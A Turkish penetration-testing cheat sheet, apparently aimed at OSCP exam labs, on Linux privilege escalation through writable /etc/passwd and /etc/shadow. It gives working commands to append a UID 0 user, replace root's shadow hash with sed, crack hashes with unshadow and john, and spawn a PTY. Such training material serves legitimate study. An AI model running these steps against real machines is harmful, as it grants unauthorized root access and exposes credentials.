FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE kolay

Yazılabilir /etc/passwd ve /etc/shadow ile Privilege Escalation

Yazılabilir /etc/passwd'a openssl passwd hash'i ile UID 0 kullanıcı ekleyerek root ol; yazılabilir /etc/shadow'da root parolasını yeni hash ile değiştirerek doğrudan oturum aç.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili shell
  • /etc/passwd veya /etc/shadow üzerinde write yetkisi (yanlış izin)
┌──

Komutlar

ls ✓ EXAM-SAFE user
ls -la /etc/passwd /etc/shadow
passwd ve shadow dosyalarının izinlerini kontrol et — kullanıcı/grubun yazma yetkisi var mı? HackTricks — Linux Privilege Escalation (Writable /etc/passwd)
find ✓ EXAM-SAFE user
find /etc/passwd /etc/shadow /etc/group -writable 2>/dev/null
Mevcut kullanıcının yazabildiği kritik kimlik dosyalarını hızlıca tespit et. HackTricks — Linux Privilege Escalation (Writable files)
openssl ✓ EXAM-SAFE user
openssl passwd -1 -salt abc {{PASS}}
MD5-crypt ($1$) formatında /etc/passwd'a gömülebilecek bir parola hash'i üret. HackTricks — Linux Privilege Escalation (Writable /etc/passwd)
openssl ✓ EXAM-SAFE user
openssl passwd -6 {{PASS}}
SHA-512 ($6$) formatında hash üret (modern sistemlerde MD5 desteklenmiyorsa kullan). PayloadsAllTheThings — Linux Privilege Escalation (Writable passwd)
bash ✓ EXAM-SAFE user
echo 'hacker:$1$abc$<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd
UID/GID 0 ile yeni 'root' kullanıcı satırını /etc/passwd sonuna ekle (openssl hash'ini yapıştır). HackTricks — Linux Privilege Escalation (Writable /etc/passwd)
su ✓ EXAM-SAFE user
su hacker
Eklenen UID 0 kullanıcısına geçiş yap; parola olarak {{PASS}} gir ve root shell al. HackTricks — Linux Privilege Escalation (Writable /etc/passwd)
bash ✓ EXAM-SAFE user
echo 'root::0:0:root:/root:/bin/bash' > /tmp/p; awk 'NR==1{print "root::0:0:root:/root:/bin/bash"} NR>1' /etc/passwd
Bazı eski sistemlerde root'un passwd alanını boş (parolasız) bırakma denenebilir — ancak modern sistemde shadow devreye girer; sadece x'siz alan parolasız login demektir. HackTricks — Linux Privilege Escalation (passwd second field empty)
openssl ✓ EXAM-SAFE user
openssl passwd -6 -salt xyz {{PASS}}
Yazılabilir /etc/shadow için mevcut root hash'inin yerine koyulacak SHA-512 hash'i üret. HackTricks — Linux Privilege Escalation (Writable /etc/shadow)
bash ✓ EXAM-SAFE user
sed -i 's#^root:[^:]*#root:$6$xyz$<HASH>#' /etc/shadow
Yazılabilir /etc/shadow'da root'un hash alanını ürettiğin yeni hash ile değiştir; sonra 'su root' ile {{PASS}} kullan. HackTricks — Linux Privilege Escalation (Writable /etc/shadow)
su ✓ EXAM-SAFE user
su root
shadow'daki root hash'i değiştirildiyse yeni parola {{PASS}} ile root oturumu aç. HackTricks — Linux Privilege Escalation (Writable /etc/shadow)
unshadow ✓ EXAM-SAFE user
unshadow /etc/passwd /etc/shadow > /tmp/unshadow.txt
shadow okunabiliyorsa (write yoksa) passwd ile birleştirip john/hashcat ile crack'e hazırla. HackTricks — Linux Privilege Escalation / John the Ripper
john ✓ EXAM-SAFE user
john --wordlist={{WORDLIST}} /tmp/unshadow.txt
unshadow çıktısındaki hash'leri sözlük saldırısıyla kır. HackTricks — Cracking Hashes (John)

Genel Bakış

/etc/passwd ve /etc/shadow üzerinde yanlış yapılandırılmış yazma izinleri, en hızlı ve sınav-güvenli root yollarından biridir. Misconfiguration genelde bir script veya deploy aracının dosya izinlerini gevşetmesinden doğar. Bu teknik exploit gerektirmez, tamamen dosya manipülasyonudur.

Enumeration

İlk olarak ls -la /etc/passwd /etc/shadow ile izinleri kontrol et. /etc/passwd normalde -rw-r--r-- root root, /etc/shadow ise -rw-r----- root shadow olmalıdır. Kullanıcının veya bulunduğu bir grubun bu dosyalarda w biti varsa istismar mümkündür. find /etc/passwd /etc/shadow -writable ile tek komutta doğrula.

Exploitation — Yazılabilir /etc/passwd

Klasik yöntem, passwd dosyasının modern sistemlerde de ikinci alanına (parola alanı) doğrudan bir hash gömülebilmesidir; bu alan x değilse shadow yerine buradaki hash kullanılır. Adımlar:

  1. openssl passwd -1 (MD5) veya openssl passwd -6 (SHA-512) ile bir hash üret.
  2. hacker:<HASH>:0:0:root:/root:/bin/bash satırını dosyaya ekle — mevcut root satırını bozma, yeni UID 0 kullanıcı ekle (daha güvenli, geri dönülebilir).
  3. su hacker → ürettiğin parolayı gir → root shell.

Eski/küçük sistemlerde root satırının ikinci alanını tamamen boş bırakmak parolasız login sağlayabilir, ama bu OSCP makinelerinde nadir; hash gömme yöntemi daha güvenilirdir.

Exploitation — Yazılabilir /etc/shadow

Sadece shadow yazılabiliyorsa, root’un hash alanını openssl passwd -6 çıktısı ile değiştir (sed ile sadece root: satırının ikinci alanını hedefle). Sonra su root ile yeni parolayı kullan. passwd’a dokunmana gerek kalmaz.

Sadece Okuma İzni Varsa (Loot)

shadow okunabiliyor ama yazılamıyorsa (örn. SGID shadow grubu, cap_dac_read_search, ya da yedek dosyası), unshadow ile passwd+shadow birleştir ve john --wordlist={{WORDLIST}} ile hash’leri kır. Bu, write yolu kapalıyken alternatif rottur.

Notlar / Gotchas

  • Modern sistemler openssl passwd -1 (MD5) hash’ini hâlâ kabul eder ama bazı sertleştirilmiş kurulumlar sadece $6$ (SHA-512) kabul eder; root shell açılmazsa -6 ile tekrar dene.
  • >> (append) kullan, > (overwrite) değil — yanlışlıkla passwd’u silersen sistemi bozar ve sınavda makineyi reset gerektirir.
  • su bir TTY ister; non-interactive reverse shell’de hata alırsan önce python3 -c 'import pty;pty.spawn("/bin/bash")' ile PTY yükselt.
  • İşin bittiğinde eklediğin satırı temizle (cleanup) — rapor için before/after passwd’u not al.
┌──

Kaynaklar

0/15 set